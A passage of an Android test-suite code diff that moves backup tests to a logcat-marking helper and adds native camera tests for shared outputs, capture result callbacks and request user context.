+ protected InputStream executeShellCommand(String command) throws IOException {
+ return executeStreamedShellCommand(getInstrumentation(), command);
+ }
+ };
@Override
protected void setUp() throws Exception {
@@ -73,55 +78,16 @@
return output.contains("* " + LOCAL_TRANSPORT);
}
- /**
- * Attempts to clear logcat.
- *
- * Clearing logcat is known to be unreliable, so this methods also output a unique separator
- * that can be used to find this point in the log even if clearing failed.
- * @return a unique separator string
- * @throws Exception
- */
- protected String clearLogcat() throws Exception {
- exec("logcat -c");
- String uniqueString = ":::" + UUID.randomUUID().toString();
- exec("log -t " + APP_LOG_TAG + " " + uniqueString);
- return uniqueString;
+ /** See {@link LogcatInspector#mark(String)}. */
+ protected String markLogcat() throws Exception {
+ return mLogcatInspector.mark(APP_LOG_TAG);
}
- /**
- * Wait for up to maxTimeoutInSeconds for the given strings to appear in the logcat in the given order.
- * By passing the separator returned by {@link #clearLogcat} as the first string you can ensure that only
- * logs emitted after that call to clearLogcat are found.
- *
- * @throws AssertionError if the strings are not found in the given time.
- */
+ /** See {@link LogcatInspector#assertLogcatContainsInOrder(String, int, String...)}. */
protected void waitForLogcat(int maxTimeoutInSeconds, String... logcatStrings)
- throws Exception {
- long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(maxTimeoutInSeconds);
- int stringIndex = 0;
- while (timeout >= System.currentTimeMillis()) {
- FileInputStream fis = executeStreamedShellCommand(getInstrumentation(),
- "logcat -v brief -d " + APP_LOG_TAG + ":* *:S");
- BufferedReader log = new BufferedReader(new InputStreamReader(fis));
- String line;
- stringIndex = 0;
- while ((line = log.readLine()) != null) {
- if (line.contains(logcatStrings[stringIndex])) {
- stringIndex++;
- if (stringIndex >= logcatStrings.length) {
- drainAndClose(log);
- return;
- }
- }
- }
- closeQuietly(log);
- // In case the key has not been found, wait for the log to update before
- // performing the next search.
- Thread.sleep(SMALL_LOGCAT_DELAY);
- }
- fail("Couldn't find " + logcatStrings[stringIndex] +
- (stringIndex > 0 ? " after " + logcatStrings[stringIndex - 1] : "") +
- " within " + maxTimeoutInSeconds + " seconds ");
+ throws Exception {
+ mLogcatInspector.assertLogcatContainsInOrder(
+ APP_LOG_TAG + ":* *:S", maxTimeoutInSeconds, logcatStrings);
}
protected void createTestFileOfSize(String packageName, int size) throws Exception {
@@ -145,8 +111,8 @@
}
}
- private static FileInputStream executeStreamedShellCommand(Instrumentation instrumentation,
- String command) throws Exception {
+ private static FileInputStream executeStreamedShellCommand(
+ Instrumentation instrumentation, String command) throws IOException {
final ParcelFileDescriptor pfd =
instrumentation.getUiAutomation().executeShellCommand(command);
return new ParcelFileDescriptor.AutoCloseInputStream(pfd);
diff --git a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
index beefa01..9f81ecd 100644
--- a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
+++ b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
@@ -31,7 +31,7 @@
if (!isBackupSupported()) {
return;
}
- String backupSeparator = clearLogcat();
+ String backupSeparator = markLogcat();
// Make sure there's something to backup
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
@@ -45,7 +45,7 @@
"Full backup requested",
"onDestroy");
- String restoreSeparator = clearLogcat();
+ String restoreSeparator = markLogcat();
// Now request restore and wait for it to complete
exec("bmgr restore " + BACKUP_APP_NAME);
diff --git a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
index 3924e87..56d489d 100644
--- a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
+++ b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
@@ -36,7 +36,7 @@
if (!isBackupSupported()) {
return;
}
- String separator = clearLogcat();
+ String separator = markLogcat();
// Launch test app and create file exceeding limit for local transport
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
@@ -59,7 +59,7 @@
Thread.sleep(3000);
} catch (InterruptedException e) {}
- String separator = clearLogcat();
+ String separator = markLogcat();
exec("bmgr backupnow " + BACKUP_APP_NAME);
waitForLogcat(TIMEOUT_SECONDS,separator,
"quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
diff --git a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
index d957bbc..0bb5243 100644
--- a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
+++ b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
@@ -31,7 +31,7 @@
if (!isBackupSupported()) {
return;
}
- String backupSeparator = clearLogcat();
+ String backupSeparator = markLogcat();
// Make sure there's something to backup
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
@@ -44,7 +44,7 @@
"Backup requested",
"onDestroy");
- String restoreSeparator = clearLogcat();
+ String restoreSeparator = markLogcat();
// Now request restore and wait for it to complete
exec("bmgr restore " + BACKUP_APP_NAME);
diff --git a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
index c29f810..6fca9ad 100644
--- a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
+++ b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
@@ -36,7 +36,7 @@
if (!isBackupSupported()) {
return;
}
- String separator = clearLogcat();
+ String separator = markLogcat();
// Launch test app and create file exceeding limit for local transport
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
@@ -50,7 +50,7 @@
if (!isBackupSupported()) {
return;
}
- String separator = clearLogcat();
+ String separator = markLogcat();
exec("bmgr backupnow " + BACKUP_APP_NAME);
waitForLogcat(TIMEOUT_SECONDS, separator,
"quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index 649908d..2cd4f64 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -44,7 +44,7 @@
libz \
# NDK build, shared C++ runtime
-LOCAL_SDK_VERSION := 24
+LOCAL_SDK_VERSION := current
LOCAL_NDK_STL_VARIANT := c++_shared
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index b2124ce..166ec86 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -18,9 +18,12 @@
#define LOG_TAG "NativeCamera"
#include <log/log.h>
+#include <chrono>
+#include <condition_variable>
#include <string>
#include <map>
#include <mutex>
+#include <vector>
#include <unistd.h>
#include <assert.h>
#include <jni.h>
@@ -238,6 +241,173 @@
int mOnActive = 0;
};
+class CaptureResultListener {
+ public:
+ ~CaptureResultListener() {
+ std::unique_lock<std::mutex> l(mMutex);
+ clearSavedRequestsLocked();
+ }
+
+ static void onCaptureStart(void* /*obj*/, ACameraCaptureSession* /*session*/,
+ const ACaptureRequest* /*request*/, int64_t /*timestamp*/) {
+ //Not used for now
+ }
+
+ static void onCaptureProgressed(void* /*obj*/, ACameraCaptureSession* /*session*/,
+ ACaptureRequest* /*request*/, const ACameraMetadata* /*result*/) {
+ //Not used for now
+ }
+
+ static void onCaptureCompleted(void* obj, ACameraCaptureSession* /*session*/,
+ ACaptureRequest* request, const ACameraMetadata* result) {
+ ALOGV("%s", __FUNCTION__);
+ if ((obj == nullptr) || (result == nullptr)) {
+ return;
+ }
+ CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+ std::lock_guard<std::mutex> lock(thiz->mMutex);
+ ACameraMetadata_const_entry entry;
+ auto ret = ACameraMetadata_getConstEntry(result, ACAMERA_SYNC_FRAME_NUMBER, &entry);
+ if (ret != ACAMERA_OK) {
+ ALOGE("Error: Sync frame number missing from result!");
+ return;
+ }
+
+ if (thiz->mSaveCompletedRequests) {
+ thiz->mCompletedRequests.push_back(ACaptureRequest_copy(request));
+ }
+
+ thiz->mLastCompletedFrameNumber = entry.data.i64[0];
+ thiz->mResultCondition.notify_one();
+ }
+
+ static void onCaptureFailed(void* obj, ACameraCaptureSession* /*session*/,
+ ACaptureRequest* /*request*/, ACameraCaptureFailure* failure) {
+ ALOGV("%s", __FUNCTION__);
+ if ((obj == nullptr) || (failure == nullptr)) {
+ return;
+ }
+ CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+ std::lock_guard<std::mutex> lock(thiz->mMutex);
+ thiz->mLastFailedFrameNumber = failure->frameNumber;
+ thiz->mResultCondition.notify_one();
+ }
+
+ static void onCaptureSequenceCompleted(void* obj, ACameraCaptureSession* /*session*/,
+ int sequenceId, int64_t frameNumber) {
+ ALOGV("%s", __FUNCTION__);
+ if (obj == nullptr) {
+ return;
+ }
+ CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+ std::lock_guard<std::mutex> lock(thiz->mMutex);
+ thiz->mLastSequenceIdCompleted = sequenceId;
+ thiz->mLastSequenceFrameNumber = frameNumber;
+ thiz->mResultCondition.notify_one();
+ }
+
+ static void onCaptureSequenceAborted(void* /*obj*/, ACameraCaptureSession* /*session*/,
+ int /*sequenceId*/) {
+ //Not used for now
+ }
+
+ static void onCaptureBufferLost(void* obj, ACameraCaptureSession* /*session*/,
+ ACaptureRequest* /*request*/, ANativeWindow* /*window*/, int64_t frameNumber) {
+ ALOGV("%s", __FUNCTION__);
+ if (obj == nullptr) {
+ return;
+ }
+ CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+ std::lock_guard<std::mutex> lock(thiz->mMutex);
+ thiz->mLastLostFrameNumber = frameNumber;
+ thiz->mResultCondition.notify_one();
+ }
+
+ int64_t getCaptureSequenceLastFrameNumber(int64_t sequenceId, uint32_t timeoutSec) {
+ int64_t ret = -1;
+ std::unique_lock<std::mutex> l(mMutex);
+
+ while (mLastSequenceIdCompleted != sequenceId) {
+ auto timeout = std::chrono::system_clock::now() +
+ std::chrono::seconds(timeoutSec);
+ if (std::cv_status::timeout == mResultCondition.wait_until(l, timeout)) {
+ break;
+ }
+ }
+
+ if (mLastSequenceIdCompleted == sequenceId) {
+ ret = mLastSequenceFrameNumber;
+ }
+
+ return ret;
+ }
+
+ bool waitForFrameNumber(int64_t frameNumber, uint32_t timeoutSec) {
+ bool ret = false;
+ std::unique_lock<std::mutex> l(mMutex);
+
+ while ((mLastCompletedFrameNumber != frameNumber) &&
+ (mLastLostFrameNumber != frameNumber) &&
+ (mLastFailedFrameNumber != frameNumber)) {
+ auto timeout = std::chrono::system_clock::now() +
+ std::chrono::seconds(timeoutSec);
+ if (std::cv_status::timeout == mResultCondition.wait_until(l, timeout)) {
+ break;
+ }
+ }
+
+ if ((mLastCompletedFrameNumber == frameNumber) ||
+ (mLastLostFrameNumber == frameNumber) ||
+ (mLastFailedFrameNumber == frameNumber)) {
+ ret = true;
+ }
+
+ return ret;
+ }
+
+ void setRequestSave(bool enable) {
+ std::unique_lock<std::mutex> l(mMutex);
+ if (!enable) {
+ clearSavedRequestsLocked();
+ }
+ mSaveCompletedRequests = enable;
+ }
+
+ // The lifecycle of returned ACaptureRequest* is still managed by CaptureResultListener
+ void getCompletedRequests(std::vector<ACaptureRequest*>* out) {
+ std::unique_lock<std::mutex> l(mMutex);
+ *out = mCompletedRequests;
+ }
+
+ void reset() {
+ std::lock_guard<std::mutex> lock(mMutex);
+ mLastSequenceIdCompleted = -1;
+ mLastSequenceFrameNumber = -1;
+ mLastCompletedFrameNumber = -1;
+ mLastLostFrameNumber = -1;
+ mLastFailedFrameNumber = -1;
+ mSaveCompletedRequests = false;
+ clearSavedRequestsLocked();
+ }
+
+ private:
+ std::mutex mMutex;
+ std::condition_variable mResultCondition;
+ int mLastSequenceIdCompleted = -1;
+ int64_t mLastSequenceFrameNumber = -1;
+ int64_t mLastCompletedFrameNumber = -1;
+ int64_t mLastLostFrameNumber = -1;
+ int64_t mLastFailedFrameNumber = -1;
+ bool mSaveCompletedRequests = false;
+ std::vector<ACaptureRequest*> mCompletedRequests;
+
+ void clearSavedRequestsLocked() {
+ for (ACaptureRequest* req : mCompletedRequests) {
+ ACaptureRequest_free(req);
+ }
+ mCompletedRequests.clear();
+ }
+};
class ImageReaderListener {
public:
@@ -401,6 +571,7 @@
// Free all resources except camera manager
void resetCamera() {
mSessionListener.reset();
+ mResultListener.reset();
if (mSession) {
ACameraCaptureSession_close(mSession);
mSession = nullptr;
@@ -502,6 +673,16 @@
return mCameraIdList->cameraIds[idx];
}
+ camera_status_t updateOutput(JNIEnv* env, ACaptureSessionOutput *output) {
+ if (mSession == nullptr) {
+ ALOGE("Testcase cannot update output configuration session %p",
+ mSession);
+ return ACAMERA_ERROR_UNKNOWN;
+ }
+
+ return ACameraCaptureSession_updateSharedOutput(mSession, output);
+ }
+
camera_status_t openCamera(const char* cameraId) {
if (mDevice) {
ALOGE("Cannot open camera before closing previously open one");
@@ -573,7 +754,7 @@
return mPreviewAnw;
}
- camera_status_t createCaptureSessionWithLog() {
+ camera_status_t createCaptureSessionWithLog(bool isPreviewShared = false) {
if (mSession) {
LOG_ERROR(errorString, "Cannot create session before closing existing one");
return ACAMERA_ERROR_UNKNOWN;
@@ -611,7 +792,11 @@
}
if (mPreviewInited) {
- ret = ACaptureSessionOutput_create(mPreviewAnw, &mPreviewOutput);
+ if (isPreviewShared) {
+ ret = ACaptureSessionSharedOutput_create(mPreviewAnw, &mPreviewOutput);
+ } else {
+ ret = ACaptureSessionOutput_create(mPreviewAnw, &mPreviewOutput);
+ }
if (ret != ACAMERA_OK || mPreviewOutput == nullptr) {
LOG_ERROR(errorString,
"Sesssion preview output create fail! ret %d output %p",
@@ -743,15 +928,60 @@
return ACAMERA_OK;
}
- camera_status_t startPreview() {
+ // The output ACaptureRequest* is still managed by testcase class
+ camera_status_t getStillRequest(ACaptureRequest** out) {
+ if (mStillRequest == nullptr) {
+ ALOGE("Camera %s Still capture request hasn't been created", mCameraId);
+ return ACAMERA_ERROR_INVALID_PARAMETER;
+ }
+ *out = mStillRequest;
+ return ACAMERA_OK;
+ }
+
+ camera_status_t startPreview(int *sequenceId = nullptr) {
if (mSession == nullptr || mPreviewRequest == nullptr) {
ALOGE("Testcase cannot start preview: session %p, preview request %p",
mSession, mPreviewRequest);
return ACAMERA_ERROR_UNKNOWN;
}
int previewSeqId;
- return ACameraCaptureSession_setRepeatingRequest(
- mSession, nullptr, 1, &mPreviewRequest, &previewSeqId);
+ camera_status_t ret;
+ if (sequenceId == nullptr) {
+ ret = ACameraCaptureSession_setRepeatingRequest(
+ mSession, nullptr, 1, &mPreviewRequest, &previewSeqId);
+ } else {
+ ret = ACameraCaptureSession_setRepeatingRequest(
+ mSession, &mResultCb, 1, &mPreviewRequest, sequenceId);
+ }
+ return ret;
+ }
+
+ camera_status_t updateRepeatingRequest(ACaptureRequest *updatedRequest,
+ int *sequenceId = nullptr) {
+ if (mSession == nullptr || updatedRequest == nullptr) {
+ ALOGE("Testcase cannot update repeating request: session %p, updated request %p",
+ mSession, updatedRequest);
+ return ACAMERA_ERROR_UNKNOWN;
+ }
+
+ int previewSeqId;
+ camera_status_t ret;
+ if (sequenceId == nullptr) {
+ ret = ACameraCaptureSession_setRepeatingRequest(
+ mSession, nullptr, 1, &updatedRequest, &previewSeqId);
+ } else {
+ ret = ACameraCaptureSession_setRepeatingRequest(
+ mSession, &mResultCb, 1, &updatedRequest, sequenceId);
+ }
+ return ret;
+ }
+
+ int64_t getCaptureSequenceLastFrameNumber(int64_t sequenceId, uint32_t timeoutSec) {
+ return mResultListener.getCaptureSequenceLastFrameNumber(sequenceId, timeoutSec);
+ }
+
+ bool waitForFrameNumber(int64_t frameNumber, uint32_t timeoutSec) {
+ return mResultListener.waitForFrameNumber(frameNumber, timeoutSec);
}
camera_status_t takePicture() {
@@ -765,6 +995,18 @@
mSession, nullptr, 1, &mStillRequest, &seqId);
}
+ camera_status_t capture(ACaptureRequest* request,
+ ACameraCaptureSession_captureCallbacks* listener,
+ /*out*/int* seqId) {
+ if (mSession == nullptr || request == nullptr) {
+ ALOGE("Testcase cannot capture session: session %p, request %p",
+ mSession, request);
+ return ACAMERA_ERROR_UNKNOWN;
+ }
+ return ACameraCaptureSession_capture(
+ mSession, listener, 1, &request, seqId);
+ }
+
camera_status_t resetWithErrorLog() {
camera_status_t ret;
@@ -785,6 +1027,7 @@
return ACAMERA_ERROR_UNKNOWN;
}
mSessionListener.reset();
+ mResultListener.reset();
ret = closeCamera();
if (ret != ACAMERA_OK) {
@@ -800,6 +1043,14 @@
return &mSessionListener;
}
+ ACameraDevice* getCameraDevice() {
+ return mDevice;
+ }
+
+ ACaptureSessionOutput *getPreviewOutput() {
+ return mPreviewOutput;
+ }
+
private:
ACameraManager* createManager() {
if (!mCameraManager) {
@@ -828,6 +1079,18 @@
CaptureSessionListener::onActive
};
+ CaptureResultListener mResultListener;
+ ACameraCaptureSession_captureCallbacks mResultCb {
+ &mResultListener,
+ CaptureResultListener::onCaptureStart,
+ CaptureResultListener::onCaptureProgressed,
+ CaptureResultListener::onCaptureCompleted,
+ CaptureResultListener::onCaptureFailed,
+ CaptureResultListener::onCaptureSequenceCompleted,
+ CaptureResultListener::onCaptureSequenceAborted,
+ CaptureResultListener::onCaptureBufferLost
+ };
+
ACameraIdList* mCameraIdList = nullptr;
ACameraDevice* mDevice = nullptr;
AImageReader* mImgReader = nullptr;
@@ -1241,6 +1504,34 @@
}
}
+ void* context = nullptr;
+ ret = ACaptureRequest_getUserContext(request, &context);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Get capture request context failed: ret %d", ret);
+ goto cleanup;
+ }
+ if (context != nullptr) {
+ LOG_ERROR(errorString, "Capture request context is not null: %p", context);
+ goto cleanup;
+ }
+
+ intptr_t magic_num = 0xBEEF;
+ ret = ACaptureRequest_setUserContext(request, (void*) magic_num);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Set capture request context failed: ret %d", ret);
+ goto cleanup;
+ }
+
+ ret = ACaptureRequest_getUserContext(request, &context);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Get capture request context failed: ret %d", ret);
+ goto cleanup;
+ }
+ if (context != (void*) magic_num) {
+ LOG_ERROR(errorString, "Capture request context is wrong: %p", context);
+ goto cleanup;
+ }
+
// try get/set capture request fields
ACameraMetadata_const_entry entry;
ret = ACaptureRequest_getConstEntry(request, ACAMERA_CONTROL_AE_MODE, &entry);
@@ -1483,6 +1774,263 @@
extern "C" jboolean
Java_android_hardware_camera2_cts_NativeCameraDeviceTest_\
+testCameraDeviceSharedOutputUpdate(
+ JNIEnv* env, jclass /*clazz*/, jobject jPreviewSurface, jobject jSharedSurface) {
+ ALOGV("%s", __FUNCTION__);
+ int numCameras = 0;
+ bool pass = false;
+ PreviewTestCase testCase;
+ int sequenceId = -1;
+ int64_t lastFrameNumber = 0;
+ bool frameArrived = false;
+ ANativeWindow* previewAnw = nullptr;
+ ANativeWindow* sharedAnw = ANativeWindow_fromSurface(env, jSharedSurface);
+ ACaptureRequest* updatedRequest = nullptr;
+ ACameraOutputTarget* reqPreviewOutput = nullptr;
+ ACameraOutputTarget* reqSharedOutput = nullptr;
+ ACaptureSessionOutput *previewOutput = nullptr;
+ uint32_t timeoutSec = 1;
+ uint32_t runPreviewSec = 2;
+
+ camera_status_t ret = testCase.initWithErrorLog();
+ if (ret != ACAMERA_OK) {
+ // Don't log error here. testcase did it
+ goto cleanup;
+ }
+
+ numCameras = testCase.getNumCameras();
+ if (numCameras < 0) {
+ LOG_ERROR(errorString, "Testcase returned negavtive number of cameras: %d", numCameras);
+ goto cleanup;
+ }
+
+ for (int i = 0; i < numCameras; i++) {
+ const char* cameraId = testCase.getCameraId(i);
+ if (cameraId == nullptr) {
+ LOG_ERROR(errorString, "Testcase returned null camera id for camera %d", i);
+ goto cleanup;
+ }
+
+ ret = testCase.openCamera(cameraId);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
+ goto cleanup;
+ }
+
+ usleep(100000); // sleep to give some time for callbacks to happen
+
+ if (testCase.isCameraAvailable(cameraId)) {
+ LOG_ERROR(errorString, "Camera %s should be unavailable now", cameraId);
+ goto cleanup;
+ }
+
+ previewAnw = testCase.initPreviewAnw(env, jPreviewSurface);
+ if (previewAnw == nullptr) {
+ LOG_ERROR(errorString, "Null ANW from preview surface!");
+ goto cleanup;
+ }
+
+ ret = testCase.createCaptureSessionWithLog(true);
+ if (ret != ACAMERA_OK) {
+ // Don't log error here. testcase did it
+ goto cleanup;
+ }
+
+ ret = testCase.createRequestsWithErrorLog();
+ if (ret != ACAMERA_OK) {
+ // Don't log error here. testcase did it
+ goto cleanup;
+ }
+
+ ret = testCase.startPreview();
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Start preview failed!");
+ goto cleanup;
+ }
+
+ sleep(runPreviewSec);
+
+ previewOutput = testCase.getPreviewOutput();
+ //Try some bad input
+ ret = ACaptureSessionSharedOutput_add(previewOutput, previewAnw);
+ if (ret != ACAMERA_ERROR_INVALID_PARAMETER) {
+ LOG_ERROR(errorString, "ACaptureSessionSharedOutput_add should return invalid "
+ "parameter! %d", ret);
+ goto cleanup;
+ }
+
+ ret = ACaptureSessionSharedOutput_remove(previewOutput, previewAnw);
+ if (ret != ACAMERA_ERROR_INVALID_PARAMETER) {
+ LOG_ERROR(errorString, "ACaptureSessionSharedOutput_remove should return invalid "
+ "parameter! %d", ret);
+ goto cleanup;
+ }
+
+ //Now try with valid input
+ ret = ACaptureSessionSharedOutput_add(previewOutput, sharedAnw);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "ACaptureSessionSharedOutput_add failed!")
+ goto cleanup;
+ }
+
+ ret = testCase.updateOutput(env, previewOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Failed to update output configuration!")
+ goto cleanup;
+ }
+
+ ret = ACameraDevice_createCaptureRequest(
+ testCase.getCameraDevice(), TEMPLATE_PREVIEW, &updatedRequest);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s create preview request failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = ACameraOutputTarget_create(previewAnw, &reqPreviewOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString,
+ "Camera %s create request preview output target failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = ACaptureRequest_addTarget(updatedRequest, reqPreviewOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s add preview request output failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = ACameraOutputTarget_create(sharedAnw, &reqSharedOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString,
+ "Camera %s create request preview output target failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = ACaptureRequest_addTarget(updatedRequest, reqSharedOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s add preview request output failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = testCase.updateRepeatingRequest(updatedRequest, &sequenceId);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s failed to update repeated request. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ sleep(runPreviewSec);
+
+ ret = ACaptureSessionSharedOutput_remove(previewOutput, sharedAnw);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "ACaptureSessionSharedOutput_remove failed!");
+ goto cleanup;
+ }
+
+ //Try removing shared output which still has pending camera requests
+ ret = testCase.updateOutput(env, previewOutput);
+ if (ret != ACAMERA_ERROR_INVALID_PARAMETER) {
+ LOG_ERROR(errorString, "updateOutput should fail!");
+ goto cleanup;
+ }
+
+ //Remove the shared output correctly by updating the repeating request
+ //first
+ ret = ACaptureRequest_removeTarget(updatedRequest, reqSharedOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s remove target output failed. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ ret = testCase.updateRepeatingRequest(updatedRequest);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s failed to update repeated request. ret %d",
+ cameraId, ret);
+ goto cleanup;
+ }
+
+ //Then wait for all old requests to flush
+ lastFrameNumber = testCase.getCaptureSequenceLastFrameNumber(sequenceId, timeoutSec);
+ if (lastFrameNumber < 0) {
+ LOG_ERROR(errorString, "Camera %s failed to acquire last frame number!",
+ cameraId);
+ goto cleanup;
+ }
+
+ frameArrived = testCase.waitForFrameNumber(lastFrameNumber, timeoutSec);
+ if (!frameArrived) {
+ LOG_ERROR(errorString, "Camera %s timed out waiting on last frame number!",
+ cameraId);
+ goto cleanup;
+ }
+
+ ret = testCase.updateOutput(env, previewOutput);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "updateOutput failed!");
+ goto cleanup;
+ }
+
+ sleep(runPreviewSec);
+
+ ret = testCase.resetWithErrorLog();
+ if (ret != ACAMERA_OK) {
+ // Don't log error here. testcase did it
+ goto cleanup;
+ }
+
+ usleep(100000); // sleep to give some time for callbacks to happen
+
+ if (!testCase.isCameraAvailable(cameraId)) {
+ LOG_ERROR(errorString, "Camera %s should be available now", cameraId);
+ goto cleanup;
+ }
+ }
+
+ ret = testCase.deInit();
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Testcase deInit failed: ret %d", ret);
+ goto cleanup;
+ }
+
+ pass = true;
+
+cleanup:
+
+ if (updatedRequest != nullptr) {
+ ACaptureRequest_free(updatedRequest);
+ updatedRequest = nullptr;
+ }
+
+ if (reqPreviewOutput != nullptr) {
+ ACameraOutputTarget_free(reqPreviewOutput);
+ reqPreviewOutput = nullptr;
+ }
+
+ if (reqSharedOutput != nullptr) {
+ ACameraOutputTarget_free(reqSharedOutput);
+ reqSharedOutput = nullptr;
+ }
+
+ if (sharedAnw) {
+ ANativeWindow_release(sharedAnw);
+ sharedAnw = nullptr;
+ }
+
+ ALOGI("%s %s", __FUNCTION__, pass ? "pass" : "failed");
+ if (!pass) {
+ throwAssertionError(env, errorString);
+ }
+ return pass;
+}
+
+extern "C" jboolean
+Java_android_hardware_camera2_cts_NativeCameraDeviceTest_\
testCameraDeviceSimplePreviewNative(
JNIEnv* env, jclass /*clazz*/, jobject jPreviewSurface) {
ALOGV("%s", __FUNCTION__);
@@ -1649,14 +2197,68 @@
goto cleanup;
}
+ CaptureResultListener resultListener;
+ ACameraCaptureSession_captureCallbacks resultCb {
+ &resultListener,
+ CaptureResultListener::onCaptureStart,
+ CaptureResultListener::onCaptureProgressed,
+ CaptureResultListener::onCaptureCompleted,
+ CaptureResultListener::onCaptureFailed,
+ CaptureResultListener::onCaptureSequenceCompleted,
+ CaptureResultListener::onCaptureSequenceAborted,
+ CaptureResultListener::onCaptureBufferLost
+ };
+ resultListener.setRequestSave(true);
+ ACaptureRequest* requestTemplate = nullptr;
+ ret = testCase.getStillRequest(&requestTemplate);
+ if (ret != ACAMERA_OK || requestTemplate == nullptr) {
+ // Don't log error here. testcase did it
+ goto cleanup;
+ }
+
// Do some still capture
- for (int capture = 0; capture < NUM_TEST_IMAGES; capture++) {
- ret = testCase.takePicture();
+ int lastSeqId = -1;
+ for (intptr_t capture = 0; capture < NUM_TEST_IMAGES; capture++) {
+ ACaptureRequest* req = ACaptureRequest_copy(requestTemplate);
+ ACaptureRequest_setUserContext(req, (void*) capture);
+ int seqId;
+ ret = testCase.capture(req, &resultCb, &seqId);
if (ret != ACAMERA_OK) {
- LOG_ERROR(errorString, "Camera %s capture(%d) failed. ret %d",
+ LOG_ERROR(errorString, "Camera %s capture(%" PRIdPTR ") failed. ret %d",
cameraId, capture, ret);
goto cleanup;
}
+ if (capture == NUM_TEST_IMAGES - 1) {
+ lastSeqId = seqId;
+ }
+ ACaptureRequest_free(req);
+ }
+
+ // wait until last sequence complete
+ resultListener.getCaptureSequenceLastFrameNumber(lastSeqId, /*timeoutSec*/ 3);
+
+ std::vector<ACaptureRequest*> completedRequests;
+ resultListener.getCompletedRequests(&completedRequests);
+
+ if (completedRequests.size() != NUM_TEST_IMAGES) {
+ LOG_ERROR(errorString, "Camera %s fails to capture %d capture results. Got %zu",
+ cameraId, NUM_TEST_IMAGES, completedRequests.size());
+ goto cleanup;
+ }
+
+ for (intptr_t i = 0; i < NUM_TEST_IMAGES; i++) {
+ intptr_t userContext = -1;
+ ret = ACaptureRequest_getUserContext(completedRequests[i], (void**) &userContext);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s fails to get request user context", cameraId);
+ goto cleanup;
+ }
+
+ if (userContext != i) {
+ LOG_ERROR(errorString, "Camera %s fails to return matching user context. "
+ "Expect %" PRIdPTR ", got %" PRIdPTR, cameraId, i, userContext);
+ goto cleanup;
+ }
}
// wait until all capture finished
diff --git a/tests/camera/res/layout/multi_view.xml b/tests/camera/res/layout/multi_view.xml
index 4f335d3..e7c5508 100644
--- a/tests/camera/res/layout/multi_view.xml
+++ b/tests/camera/res/layout/multi_view.xml
@@ -29,6 +29,18 @@
android:id="@+id/texture_view_2"
android:layout_width="160dp"
android:layout_height="120dp"/>
+ <TextureView
